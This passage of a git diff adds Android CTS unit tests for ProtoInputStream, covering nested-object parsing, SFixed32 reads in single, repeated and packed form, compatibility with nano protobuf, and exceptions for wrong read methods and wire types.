+        final long uintFieldFlags =
+                ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_UINT32;
+        final long messageFieldFlags =
+                ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_MESSAGE;
+
+        final long CHAR_ID_1 = uintFieldFlags | ((long) 1 & 0x0ffffffffL);
+        final long MESSAGE_ID_2 = messageFieldFlags | ((long) 2 & 0x0ffffffffL);
+        final long CHAR_ID_4 = uintFieldFlags | ((long) 4 & 0x0ffffffffL);
+
+        final byte[] protobuf = new byte[]{
+                // 1 -> 'a'
+                (byte)0x08, (byte)0x61,
+                // Message 1 : { char 2 : 'b' }
+                (byte) 0x12, (byte) 0x02, (byte) 0x10, (byte) 0x62,
+                // 4 -> 'c'
+                (byte)0x20, (byte)0x63,
+        };
+
+        InputStream stream = new ByteArrayInputStream(protobuf);
+        final ProtoInputStream pi = new ProtoInputStream(stream, chunkSize);
+
+        SimpleObject obj = null;
+        char char1 = '\0';
+        char char4 = '\0';
+
+        while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+            switch (pi.getFieldNumber()) {
+                case (int) CHAR_ID_1:
+                    char1 = (char) pi.readInt(CHAR_ID_1);
+                    break;
+                case (int) MESSAGE_ID_2:
+                    final long token = pi.start(MESSAGE_ID_2);
+                    obj = new SimpleObject();
+                    obj.parseProto(pi);
+                    pi.end(token);
+                    break;
+                case (int) CHAR_ID_4:
+                    char4 = (char) pi.readInt(CHAR_ID_4);
+                    break;
+                default:
+                    fail("Unexpected field id " + pi.getFieldNumber());
+            }
+        }
+        stream.close();
+
+        assertEquals('a', char1);
+        assertNotNull(obj);
+        assertEquals('b', obj.mChar);
+        assertEquals('c', char4);
+    }
+
+    /**
+     * Test reading a char, then an object with an int and a string in it, then a char.
+     */
+    public void testComplexObject() throws IOException {
+        testComplexObject(0);
+        testComplexObject(1);
+        testComplexObject(5);
+    }
+
+    /**
+     * Implementation of testComplexObject for a given chunkSize.
+     */
+    private void testComplexObject(int chunkSize) throws IOException  {
+        final long uintFieldFlags =
+                ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_UINT32;
+        final long messageFieldFlags =
+                ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_MESSAGE;
+
+        final long CHAR_ID_1 = uintFieldFlags | ((long) 1 & 0x0ffffffffL);
+        final long MESSAGE_ID_2 = messageFieldFlags | ((long) 2 & 0x0ffffffffL);
+        final long CHAR_ID_4 = uintFieldFlags | ((long) 4 & 0x0ffffffffL);
+
+        final byte[] protobuf = new byte[]{
+                // 1 -> 'x'
+                (byte)0x08, (byte)0x78,
+                // begin object 2
+                (byte)0x12, (byte)0x10,
+                    // 2 -> 'y'
+                    (byte)0x10, (byte)0x79,
+                    // 4 -> "abcdefghijkl"
+                    (byte)0x22, (byte)0x0c,
+                        (byte)0x61, (byte)0x62, (byte)0x63, (byte)0x64, (byte)0x65, (byte)0x66,
+                        (byte)0x67, (byte)0x68, (byte)0x69, (byte)0x6a, (byte)0x6b, (byte)0x6c,
+                // 4 -> 'z'
+                (byte)0x20, (byte)0x7a,
+        };
+
+        InputStream stream = new ByteArrayInputStream(protobuf);
+        final ProtoInputStream pi = new ProtoInputStream(stream, chunkSize);
+
+        SimpleObject obj = null;
+        char char1 = '\0';
+        char char4 = '\0';
+
+        while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+            switch (pi.getFieldNumber()) {
+                case (int) CHAR_ID_1:
+                    char1 = (char) pi.readInt(CHAR_ID_1);
+                    break;
+                case (int) MESSAGE_ID_2:
+                    final long token = pi.start(MESSAGE_ID_2);
+                    obj = new SimpleObject();
+                    obj.parseProto(pi);
+                    pi.end(token);
+                    break;
+                case (int) CHAR_ID_4:
+                    char4 = (char) pi.readInt(CHAR_ID_4);
+                    break;
+                default:
+                    fail("Unexpected field id " + pi.getFieldNumber());
+            }
+        }
+        stream.close();
+
+        assertEquals('x', char1);
+        assertNotNull(obj);
+        assertEquals('y', obj.mChar);
+        assertEquals("abcdefghijkl", obj.mString);
+        assertEquals('z', char4);
+    }
+
+    /**
+     * Test reading 3 levels deep of objects.
+     */
+    public void testDeepObjects() throws IOException {
+        testDeepObjects(0);
+        testDeepObjects(1);
+        testDeepObjects(5);
+    }
+
+    /**
+     * Implementation of testDeepObjects for a given chunkSize.
+     */
+    private void testDeepObjects(int chunkSize) throws IOException  {
+        final long messageFieldFlags =
+                ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_MESSAGE;
+        final long MESSAGE_ID_2 = messageFieldFlags | ((long) 2 & 0x0ffffffffL);
+
+        final byte[] protobuf = new byte[]{
+                // begin object id 2
+                (byte)0x12, (byte)0x1a,
+                    // 2 -> 'a'
+                    (byte)0x10, (byte)0x61,
+                    // begin nested object id 5
+                    (byte)0x2a, (byte)0x15,
+                        // 5000 -> '\u3110'
+                        (byte) 0xc0, (byte) 0xb8,
+                        (byte) 0x02, (byte) 0x90, (byte) 0x62,
+                        // begin nested object id 5
+                        (byte)0x2a, (byte)0x0e,
+                            // 4 -> "abcdefghijkl"
+                            (byte)0x22, (byte)0x0c,
+                            (byte)0x61, (byte)0x62, (byte)0x63, (byte)0x64, (byte)0x65, (byte)0x66,
+                            (byte)0x67, (byte)0x68, (byte)0x69, (byte)0x6a, (byte)0x6b, (byte)0x6c,
+        };
+
+        InputStream stream = new ByteArrayInputStream(protobuf);
+        final ProtoInputStream pi = new ProtoInputStream(stream, chunkSize);
+
+        SimpleObject obj = null;
+
+        while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+            switch (pi.getFieldNumber()) {
+                case (int) MESSAGE_ID_2:
+                    final long token = pi.start(MESSAGE_ID_2);
+                    obj = new SimpleObject();
+                    obj.parseProto(pi);
+                    pi.end(token);
+                    break;
+                default:
+                    fail("Unexpected field id " + pi.getFieldNumber());
+            }
+        }
+        stream.close();
+
+        assertNotNull(obj);
+        assertEquals('a', obj.mChar);
+        assertNotNull(obj.mNested);
+        assertEquals('\u3110', obj.mNested.mLargeChar);
+        assertNotNull(obj.mNested.mNested);
+        assertEquals("abcdefghijkl", obj.mNested.mNested.mString);
+    }
+
+    /**
+     * Test that using the wrong read method throws an exception
+     */
+    public void testBadReadType() throws IOException {
+        final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_MESSAGE;
+
+        final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+
+        final byte[] protobuf = new byte[]{
+                // 1 -> {1}
+                (byte) 0x0a,
+                (byte) 0x01,
+                (byte) 0x01,
+        };
+
+        ProtoInputStream pi = new ProtoInputStream(protobuf);
+        pi.isNextField(FIELD_ID_1);
+        try {
+            pi.readFloat(FIELD_ID_1);
+            fail("Should have throw IllegalArgumentException");
+        } catch (IllegalArgumentException iae) {
+            // good
+        }
+
+        pi = new ProtoInputStream(protobuf);
+        pi.isNextField(FIELD_ID_1);
+        try {
+            pi.readDouble(FIELD_ID_1);
+            fail("Should have throw IllegalArgumentException");
+        } catch (IllegalArgumentException iae) {
+            // good
+        }
+
+        pi = new ProtoInputStream(protobuf);
+        pi.isNextField(FIELD_ID_1);
+        try {
+            pi.readInt(FIELD_ID_1);
+            fail("Should have throw IllegalArgumentException");
+        } catch (IllegalArgumentException iae) {
+            // good
+        }
+
+        pi = new ProtoInputStream(protobuf);
+        pi.isNextField(FIELD_ID_1);
+        try {
+            pi.readLong(FIELD_ID_1);
+            fail("Should have throw IllegalArgumentException");
+        } catch (IllegalArgumentException iae) {
+            // good
+        }
+
+        pi = new ProtoInputStream(protobuf);
+        pi.isNextField(FIELD_ID_1);
+        try {
+            pi.readBoolean(FIELD_ID_1);
+            fail("Should have throw IllegalArgumentException");
+        } catch (IllegalArgumentException iae) {
+            // good
+        }
+
+        pi = new ProtoInputStream(protobuf);
+        pi.isNextField(FIELD_ID_1);
+        try {
+            pi.readString(FIELD_ID_1);
+            fail("Should have throw IllegalArgumentException");
+        } catch (IllegalArgumentException iae) {
+            // good
+        }
+    }
+
+    /**
+     * Test that unexpected wrong wire types will throw an exception
+     */
+    public void testBadWireType() throws IOException {
+        final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_MESSAGE;
+
+        final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+        final long FIELD_ID_2 = fieldFlags | ((long) 2 & 0x0ffffffffL);
+        final long FIELD_ID_3 = fieldFlags | ((long) 3 & 0x0ffffffffL);
+        final long FIELD_ID_6 = fieldFlags | ((long) 6 & 0x0ffffffffL);
+
+        final byte[] protobuf = new byte[]{
+                // 1 : varint -> 1
+                (byte) 0x08,
+                (byte) 0x01,
+                // 2 : fixed64 -> 0x1
+                (byte) 0x11,
+                (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                // 3 : length delimited -> { 1 }
+                (byte) 0x1a,
+                (byte) 0x01,
+                (byte) 0x01,
+                // 6 : fixed32
+                (byte) 0x35,
+                (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+        };
+
+        InputStream stream = new ByteArrayInputStream(protobuf);
+        final ProtoInputStream pi = new ProtoInputStream(stream);
+
+        while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+            try {
+                switch (pi.getFieldNumber()) {
+                    case (int) FIELD_ID_1:
+                        pi.readBytes(FIELD_ID_1);
+                        fail("Should have thrown a WireTypeMismatchException");
+                        break;
+                    case (int) FIELD_ID_2:
+                        pi.readBytes(FIELD_ID_2);
+                        fail("Should have thrown a WireTypeMismatchException");
+                        break;
+                    case (int) FIELD_ID_3:
+                        pi.readBytes(FIELD_ID_3);
+                        // don't fail, length delimited is ok
+                        break;
+                    case (int) FIELD_ID_6:
+                        pi.readBytes(FIELD_ID_6);
+                        fail("Should have thrown a WireTypeMismatchException");
+                        break;
+                    default:
+                        fail("Unexpected field id " + pi.getFieldNumber());
+                }
+            } catch (WireTypeMismatchException wtme) {
+                // good
+            }
+        }
+        stream.close();
+    }
+}
diff --git a/tests/tests/proto/src/android/util/proto/cts/ProtoInputStreamSFixed32Test.java b/tests/tests/proto/src/android/util/proto/cts/ProtoInputStreamSFixed32Test.java
new file mode 100644
index 0000000..37be34a
--- /dev/null
+++ b/tests/tests/proto/src/android/util/proto/cts/ProtoInputStreamSFixed32Test.java
@@ -0,0 +1,546 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.util.proto.cts;
+
+import android.util.proto.ProtoInputStream;
+import android.util.proto.ProtoStream;
+import android.util.proto.WireTypeMismatchException;
+import android.util.proto.cts.nano.Test;
+
+import com.google.protobuf.nano.MessageNano;
+
+import junit.framework.TestCase;
+
+import java.io.ByteArrayInputStream;
+import java.io.IOException;
+import java.io.InputStream;
+
+public class ProtoInputStreamSFixed32Test extends TestCase {
+
+    public void testRead() throws IOException {
+        testRead(0);
+        testRead(1);
+        testRead(5);
+    }
+
+    private void testRead(int chunkSize) throws IOException {
+        final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_SFIXED32;
+
+        final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+        final long FIELD_ID_2 = fieldFlags | ((long) 2 & 0x0ffffffffL);
+        final long FIELD_ID_3 = fieldFlags | ((long) 3 & 0x0ffffffffL);
+        final long FIELD_ID_4 = fieldFlags | ((long) 4 & 0x0ffffffffL);
+        final long FIELD_ID_5 = fieldFlags | ((long) 5 & 0x0ffffffffL);
+        final long FIELD_ID_6 = fieldFlags | ((long) 6 & 0x0ffffffffL);
+
+        final byte[] protobuf = new byte[]{
+                // 1 -> 0 - default value, not written
+                // 2 -> 1
+                (byte) 0x15,
+                (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                // 6 -> 1
+                (byte) 0x35,
+                (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                // 3 -> -1
+                (byte) 0x1d,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+                // 4 -> Integer.MIN_VALUE
+                (byte) 0x25,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x80,
+                // 5 -> Integer.MAX_VALUE
+                (byte) 0x2d,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x7f,
+        };
+
+        InputStream stream = new ByteArrayInputStream(protobuf);
+        final ProtoInputStream pi = new ProtoInputStream(stream, chunkSize);
+        int[] results = new int[5];
+        while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+            switch (pi.getFieldNumber()) {
+                case (int) FIELD_ID_1:
+                    fail("Should never reach this");
+                    break;
+                case (int) FIELD_ID_2:
+                    results[1] = pi.readInt(FIELD_ID_2);
+                    break;
+                case (int) FIELD_ID_3:
+                    results[2] = pi.readInt(FIELD_ID_3);
+                    break;
+                case (int) FIELD_ID_4:
+                    results[3] = pi.readInt(FIELD_ID_4);
+                    break;
+                case (int) FIELD_ID_5:
+                    results[4] = pi.readInt(FIELD_ID_5);
+                    break;
+                case (int) FIELD_ID_6:
+                    // Intentionally don't read the data. Parse should continue normally
+                    break;
+                default:
+                    fail("Unexpected field id " + pi.getFieldNumber());
+            }
+        }
+        stream.close();
+
+        assertEquals(0, results[0]);
+        assertEquals(1, results[1]);
+        assertEquals(-1, results[2]);
+        assertEquals(Integer.MIN_VALUE, results[3]);
+        assertEquals(Integer.MAX_VALUE, results[4]);
+    }
+
+    /**
+     * Test that reading with ProtoInputStream matches, and can read the output of standard proto.
+     */
+    public void testReadCompat() throws Exception {
+        testReadCompat(0);
+        testReadCompat(1);
+        testReadCompat(-1);
+        testReadCompat(Integer.MIN_VALUE);
+        testReadCompat(Integer.MAX_VALUE);
+    }
+
+    /**
+     * Implementation of testReadCompat with a given value.
+     */
+    private void testReadCompat(int val) throws Exception {
+        final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_SFIXED32;
+        final long FIELD_ID = fieldFlags | ((long) 110 & 0x0ffffffffL);
+
+        final Test.All all = new Test.All();
+        all.sfixed32Field = val;
+
+        final byte[] proto = MessageNano.toByteArray(all);
+
+        final ProtoInputStream pi = new ProtoInputStream(proto);
+        final Test.All readback = Test.All.parseFrom(proto);
+
+        int result = 0; // start off with default value
+        while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+            switch (pi.getFieldNumber()) {
+                case (int) FIELD_ID:
+                    result = pi.readInt(FIELD_ID);
+                    break;
+                default:
+                    fail("Unexpected field id " + pi.getFieldNumber());
+            }
+        }
+
+        assertEquals(readback.sfixed32Field, result);
+    }
+
+    public void testRepeated() throws IOException {
+        testRepeated(0);
+        testRepeated(1);
+        testRepeated(5);
+    }
+
+    private void testRepeated(int chunkSize) throws IOException {
+        final long fieldFlags = ProtoStream.FIELD_COUNT_REPEATED | ProtoStream.FIELD_TYPE_SFIXED32;
+
+        final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+        final long FIELD_ID_2 = fieldFlags | ((long) 2 & 0x0ffffffffL);
+        final long FIELD_ID_3 = fieldFlags | ((long) 3 & 0x0ffffffffL);
+        final long FIELD_ID_4 = fieldFlags | ((long) 4 & 0x0ffffffffL);
+        final long FIELD_ID_5 = fieldFlags | ((long) 5 & 0x0ffffffffL);
+        final long FIELD_ID_6 = fieldFlags | ((long) 6 & 0x0ffffffffL);
+
+        final byte[] protobuf = new byte[]{
+                // 1 -> 0 - default value, written when repeated
+                (byte) 0x0d,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                // 2 -> 1
+                (byte) 0x15,
+                (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                // 3 -> -1
+                (byte) 0x1d,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+                // 4 -> Integer.MIN_VALUE
+                (byte) 0x25,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x80,
+                // 5 -> Integer.MAX_VALUE
+                (byte) 0x2d,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x7f,
+
+                // 6 -> 1
+                (byte) 0x35,
+                (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+
+                // 1 -> 0 - default value, written when repeated
+                (byte) 0x0d,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                // 2 -> 1
+                (byte) 0x15,
+                (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                // 3 -> -1
+                (byte) 0x1d,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+                // 4 -> Integer.MIN_VALUE
+                (byte) 0x25,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x80,
+                // 5 -> Integer.MAX_VALUE
+                (byte) 0x2d,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x7f,
+        };
+
+        InputStream stream = new ByteArrayInputStream(protobuf);
+        final ProtoInputStream pi = new ProtoInputStream(stream, chunkSize);
+        int[][] results = new int[5][2];
+        int[] indices = new int[5];
+        while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+
+            switch (pi.getFieldNumber()) {
+                case (int) FIELD_ID_1:
+                    results[0][indices[0]++] = pi.readInt(FIELD_ID_1);
+                    break;
+                case (int) FIELD_ID_2:
+                    results[1][indices[1]++] = pi.readInt(FIELD_ID_2);
+                    break;
+                case (int) FIELD_ID_3:
+                    results[2][indices[2]++] = pi.readInt(FIELD_ID_3);
+                    break;
+                case (int) FIELD_ID_4:
+                    results[3][indices[3]++] = pi.readInt(FIELD_ID_4);
+                    break;
+                case (int) FIELD_ID_5:
+                    results[4][indices[4]++] = pi.readInt(FIELD_ID_5);
+                    break;
+                case (int) FIELD_ID_6:
+                    // Intentionally don't read the data. Parse should continue normally
+                    break;
+                default:
+                    fail("Unexpected field id " + pi.getFieldNumber());
+            }
+        }
+        stream.close();
+
+
+        assertEquals(0, results[0][0]);
+        assertEquals(0, results[0][1]);
+        assertEquals(1, results[1][0]);
+        assertEquals(1, results[1][1]);
+        assertEquals(-1, results[2][0]);
+        assertEquals(-1, results[2][1]);
+        assertEquals(Integer.MIN_VALUE, results[3][0]);
+        assertEquals(Integer.MIN_VALUE, results[3][1]);
+        assertEquals(Integer.MAX_VALUE, results[4][0]);
+        assertEquals(Integer.MAX_VALUE, results[4][1]);
+    }
+
+    /**
+     * Test that reading with ProtoInputStream matches, and can read the output of standard proto.
+     */
+    public void testRepeatedCompat() throws Exception {
+        testRepeatedCompat(new int[0]);
+        testRepeatedCompat(new int[]{0, 1, -1, Integer.MIN_VALUE, Integer.MAX_VALUE,});
+    }
+
+    /**
+     * Implementation of testRepeatedCompat with a given value.
+     */
+    private void testRepeatedCompat(int[] val) throws Exception {
+        final long fieldFlags = ProtoStream.FIELD_COUNT_REPEATED | ProtoStream.FIELD_TYPE_SFIXED32;
+        final long FIELD_ID = fieldFlags | ((long) 111 & 0x0ffffffffL);
+
+        final Test.All all = new Test.All();
+        all.sfixed32FieldRepeated = val;
+
+        final byte[] proto = MessageNano.toByteArray(all);
+
+        final ProtoInputStream pi = new ProtoInputStream(proto);
+        final Test.All readback = Test.All.parseFrom(proto);
+
+        int[] result = new int[val.length];
+        int index = 0;
+        while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+            switch (pi.getFieldNumber()) {
+                case (int) FIELD_ID:
+                    result[index++] = pi.readInt(FIELD_ID);
+                    break;
+                default:
+                    fail("Unexpected field id " + pi.getFieldNumber());
+            }
+        }
+
+        assertEquals(readback.sfixed32FieldRepeated.length, result.length);
+        for (int i = 0; i < result.length; i++) {
+            assertEquals(readback.sfixed32FieldRepeated[i], result[i]);
+        }
+    }
+
+    public void testPacked() throws IOException {
+        testPacked(0);
+        testPacked(1);
+        testPacked(5);
+    }
+
+    private void testPacked(int chunkSize) throws IOException {
+        final long fieldFlags = ProtoStream.FIELD_COUNT_PACKED | ProtoStream.FIELD_TYPE_SFIXED32;
+
+        final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+        final long FIELD_ID_2 = fieldFlags | ((long) 2 & 0x0ffffffffL);
+        final long FIELD_ID_3 = fieldFlags | ((long) 3 & 0x0ffffffffL);
+        final long FIELD_ID_4 = fieldFlags | ((long) 4 & 0x0ffffffffL);
+        final long FIELD_ID_5 = fieldFlags | ((long) 5 & 0x0ffffffffL);
+        final long FIELD_ID_6 = fieldFlags | ((long) 6 & 0x0ffffffffL);
+
+        final byte[] protobuf = new byte[]{
+                // 1 -> 0 - default value, written when repeated
+                (byte) 0x0a,
+                (byte) 0x08,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                // 2 -> 1
+                (byte) 0x12,
+                (byte) 0x08,
+                (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                // 6 -> 1
+                (byte) 0x32,
+                (byte) 0x08,
+                (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                // 3 -> -1
+                (byte) 0x1a,
+                (byte) 0x08,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+                // 4 -> Integer.MIN_VALUE
+                (byte) 0x22,
+                (byte) 0x08,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x80,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x80,
+                // 5 -> Integer.MAX_VALUE
+                (byte) 0x2a,
+                (byte) 0x08,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x7f,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x7f,
+        };
+
+        InputStream stream = new ByteArrayInputStream(protobuf);
+        final ProtoInputStream pi = new ProtoInputStream(stream, chunkSize);
+        int[][] results = new int[5][2];
+        int[] indices = new int[5];
+        while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+
+            switch (pi.getFieldNumber()) {
+                case (int) FIELD_ID_1:
+                    results[0][indices[0]++] = pi.readInt(FIELD_ID_1);
+                    break;
+                case (int) FIELD_ID_2:
+                    results[1][indices[1]++] = pi.readInt(FIELD_ID_2);
+                    break;
+                case (int) FIELD_ID_3:
+                    results[2][indices[2]++] = pi.readInt(FIELD_ID_3);
+                    break;
+                case (int) FIELD_ID_4:
+                    results[3][indices[3]++] = pi.readInt(FIELD_ID_4);
+                    break;
+                case (int) FIELD_ID_5:
+                    results[4][indices[4]++] = pi.readInt(FIELD_ID_5);
+                    break;
+                case (int) FIELD_ID_6:
+                    // Intentionally don't read the data. Parse should continue normally
+                    break;
+                default:
+                    fail("Unexpected field id " + pi.getFieldNumber());
+            }
+        }
+        stream.close();
+
+
+        assertEquals(0, results[0][0]);
+        assertEquals(0, results[0][1]);
+        assertEquals(1, results[1][0]);
+        assertEquals(1, results[1][1]);
+        assertEquals(-1, results[2][0]);
+        assertEquals(-1, results[2][1]);
+        assertEquals(Integer.MIN_VALUE, results[3][0]);
+        assertEquals(Integer.MIN_VALUE, results[3][1]);
+        assertEquals(Integer.MAX_VALUE, results[4][0]);
+        assertEquals(Integer.MAX_VALUE, results[4][1]);
+    }
+
+    /**
+     * Test that reading with ProtoInputStream matches, and can read the output of standard proto.
+     */
+    public void testPackedCompat() throws Exception {
+        testPackedCompat(new int[0]);
+        testPackedCompat(new int[]{0, 1, -1, Integer.MIN_VALUE, Integer.MAX_VALUE,});
+    }
+
+    /**
+     * Implementation of testRepeatedCompat with a given value.
+     */
+    private void testPackedCompat(int[] val) throws Exception {
+        final long fieldFlags = ProtoStream.FIELD_COUNT_REPEATED | ProtoStream.FIELD_TYPE_SFIXED32;
+        final long FIELD_ID = fieldFlags | ((long) 112 & 0x0ffffffffL);
+
+        final Test.All all = new Test.All();
+        all.sfixed32FieldPacked = val;
+
+        final byte[] proto = MessageNano.toByteArray(all);
+
+        final ProtoInputStream pi = new ProtoInputStream(proto);
+        final Test.All readback = Test.All.parseFrom(proto);
+
+        int[] result = new int[val.length];
+        int index = 0;
+        while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+            switch (pi.getFieldNumber()) {
+                case (int) FIELD_ID:
+                    result[index++] = pi.readInt(FIELD_ID);
+                    break;
+                default:
+                    fail("Unexpected field id " + pi.getFieldNumber());
+            }
+        }
+
+        assertEquals(readback.sfixed32FieldPacked.length, result.length);
+        for (int i = 0; i < result.length; i++) {
+            assertEquals(readback.sfixed32FieldPacked[i], result[i]);
+        }
+    }
+
+    /**
+     * Test that using the wrong read method throws an exception
+     */
+    public void testBadReadType() throws IOException {
+        final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_SFIXED32;
+
+        final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+
+        final byte[] protobuf = new byte[]{
+                // 1 -> 1
+                (byte) 0x08,
+                (byte) 0x01,
+        };
+
+        ProtoInputStream pi = new ProtoInputStream(protobuf);
+        pi.isNextField(FIELD_ID_1);
+        try {
+            pi.readFloat(FIELD_ID_1);
+            fail("Should have throw IllegalArgumentException");
+        } catch (IllegalArgumentException iae) {
+            // good
+        }
+
+        pi = new ProtoInputStream(protobuf);
+        pi.isNextField(FIELD_ID_1);
+        try {
+            pi.readDouble(FIELD_ID_1);
+            fail("Should have throw IllegalArgumentException");
+        } catch (IllegalArgumentException iae) {
+            // good
+        }
+
+        pi = new ProtoInputStream(protobuf);
+        pi.isNextField(FIELD_ID_1);
+        try {
+            pi.readBoolean(FIELD_ID_1);
+            fail("Should have throw IllegalArgumentException");
+        } catch (IllegalArgumentException iae) {
+            // good
+        }
+
+        pi = new ProtoInputStream(protobuf);
+        pi.isNextField(FIELD_ID_1);
+        try {
+            pi.readLong(FIELD_ID_1);
+            fail("Should have throw IllegalArgumentException");
+        } catch (IllegalArgumentException iae) {
+            // good
+        }
+
+        pi = new ProtoInputStream(protobuf);
+        pi.isNextField(FIELD_ID_1);
+        try {
+            pi.readBytes(FIELD_ID_1);
+            fail("Should have throw IllegalArgumentException");
+        } catch (IllegalArgumentException iae) {
+            // good
+        }
+
+        pi = new ProtoInputStream(protobuf);
+        pi.isNextField(FIELD_ID_1);
+        try {
+            pi.readString(FIELD_ID_1);
+            fail("Should have throw IllegalArgumentException");
+        } catch (IllegalArgumentException iae) {
+            // good
+        }
+    }
+
+    /**
+     * Test that unexpected wrong wire types will throw an exception
+     */
+    public void testBadWireType() throws IOException {
+        final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_SFIXED32;
+
+        final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+        final long FIELD_ID_2 = fieldFlags | ((long) 2 & 0x0ffffffffL);
+        final long FIELD_ID_3 = fieldFlags | ((long) 3 & 0x0ffffffffL);
+        final long FIELD_ID_6 = fieldFlags | ((long) 6 & 0x0ffffffffL);
+
+        final byte[] protobuf = new byte[]{
+                // 1 : varint -> 1
+                (byte) 0x08,
+                (byte) 0x01,
+                // 2 : fixed64 -> 0x1
+                (byte) 0x11,
+                (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                // 3 : length delimited -> { 1 }
+                (byte) 0x1a,
+                (byte) 0x04,
+                (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                // 6 : fixed32
+                (byte) 0x35,
+                (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+        };
+
+        InputStream stream = new ByteArrayInputStream(protobuf);
+        final ProtoInputStream pi = new ProtoInputStream(stream);
+
+        while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+            try {
+                switch (pi.getFieldNumber()) {
+                    case (int) FIELD_ID_1:
+                        pi.readInt(FIELD_ID_1);
+                        fail("Should have thrown a WireTypeMismatchException");
+                        break;
+                    case (int) FIELD_ID_2:
+                        pi.readInt(FIELD_ID_2);
+                        fail("Should have thrown a WireTypeMismatchException");
+                        break;
+                    case (int) FIELD_ID_3:
+                        pi.readInt(FIELD_ID_3);
+                        // don't fail, length delimited is ok (represents packed sfixed32)
+                        break;
+                    case (int) FIELD_ID_6:
+                        pi.readInt(FIELD_ID_6);
+                        // don't fail, fixed32 is ok
+                        break;
+                    default:
+                        fail("Unexpected field id " + pi.getFieldNumber());
+                }
+            } catch (WireTypeMismatchException wtme) {
+                // good
+            }
+        }
+        stream.close();
+    }
+}
diff --git a/tests/tests/proto/src/android/util/proto/cts/ProtoInputStreamSFixed64Test.java b/tests/tests/proto/src/android/util/proto/cts/ProtoInputStreamSFixed64Test.java
new file mode 100644
index 0000000..e2a3b19
